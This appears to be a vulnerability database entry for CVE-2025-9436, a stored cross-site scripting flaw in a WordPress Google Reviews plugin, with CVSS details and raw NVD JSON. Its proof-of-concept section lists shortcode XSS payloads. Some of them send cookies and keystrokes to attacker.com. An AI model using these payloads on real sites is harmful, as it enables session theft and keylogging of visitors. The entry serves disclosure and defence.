Security Vulnerability Report
中文
CVE-2025-9436 CVSS 6.4 MEDIUM

CVE-2025-9436

Published: 2025-12-11 04:16:00
Last Modified: 2026-04-15 00:35:42

Description

The Widgets for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `trustindex` shortcode in all versions up to, and including, 13.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Widgets for Google Reviews插件 for WordPress <= 13.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Google Reviews Plugin XSS PoC (CVE-2025-9436) --> <!-- Authenticated Contributor+ role required --> <!-- Inject via trustindex shortcode --> <!-- Basic XSS payload --> [trustindex data-widget-id='" onerror="alert(document.domain)" data-original="'] <!-- Steal cookies/session --> [trustindex data-widget-id='" onerror="fetch('https://attacker.com/steal?c='+document.cookie)" data-original="'] <!-- Keylogger payload --> [trustindex data-widget-id='" oninput="this.src='https://attacker.com/log?k='+event.key" data-original="'] <!-- Alternative payload with img tag --> [trustindex data-widget-id='x"><img src=x onerror=alert(1)>'] <!-- Stored XSS via data-original attribute --> [trustindex data-widget-id='test' data-original='"><script>alert(document.cookie)</script>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9436", "sourceIdentifier": "[email protected]", "published": "2025-12-11T04:15:59.920", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Widgets for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `trustindex` shortcode in all versions up to, and including, 13.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-reviews-plugin-for-google/tags/13.0/trustindex-plugin.class.php#L803", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/94974552-1c52-417b-9b4e-c30fd13a8ad4?source=cve", "source": "[email protected]"}]}}